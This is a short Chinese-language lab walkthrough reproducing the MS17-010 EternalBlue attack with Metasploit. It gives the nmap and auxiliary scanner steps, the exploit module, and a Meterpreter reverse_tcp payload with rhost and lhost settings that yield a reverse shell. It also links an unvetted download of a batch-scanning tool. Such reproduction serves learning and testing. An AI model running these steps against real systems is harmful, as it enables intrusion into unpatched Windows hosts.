ms17-010 利用msf的exp和一个扫描工具的复现

0x01简介

永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞，该漏洞导致攻击者在目标系统上可以执行任意代码。

攻击对象：win7及win7以下的操作系统且开启了445端口smb服务，防火墙关闭状态下且没打补丁

0x02攻击思路

1.先用nmap扫描整个网段开放的端口，再利用msf的扫描模块儿，扫描开放了445端口的主机ip，扫描出存在ms17-010的话就利用msf的攻击模块儿进行反弹shell；如果扫描出不存在该漏洞，就扫描下一条ip。

2.利用工具批量扫描一个网段中哪些ip存在ms17-010漏洞，然后再利用msf攻击模块进行getshell。

工具地址  ：https://pan.baidu.com/s/1p5aFkYxoOfiXsFNUHH6C6g

提取码：7oxg

0x03攻击过程

1.查看漏洞模块——search ms17-010

可以看到有auxiliary（辅助）模块和exploit（攻击）模块

2.可以先使用辅助扫描模块测试 use auxiliary/scanner/smb/smb_ms17_010

扫描结果显示该主机很容易受到ms17-010的攻击

3.使用攻击模块进行攻击 use exploit/windows/smb/ms17_010_eternalblue

选择攻击模块时注意选择合适的版本，有些版本使用于win8以上

. search ms17_010

. use exploit/windows/smb/ms17_010_eternalblue

. set payload windows/x64/meterpreter/reverse_tcp

. show options

. set rhost 192.168.1.129

. set lhost 192.168.1.120

. run

show options查看需要设置的参数，这里只需设置rhost目标ip就好

4.run开始攻击

攻击成功后就会反弹一个shell，之后就进行后一步渗透工作。

这是针对x64系统的攻击，后续将讲解x32系统的攻击。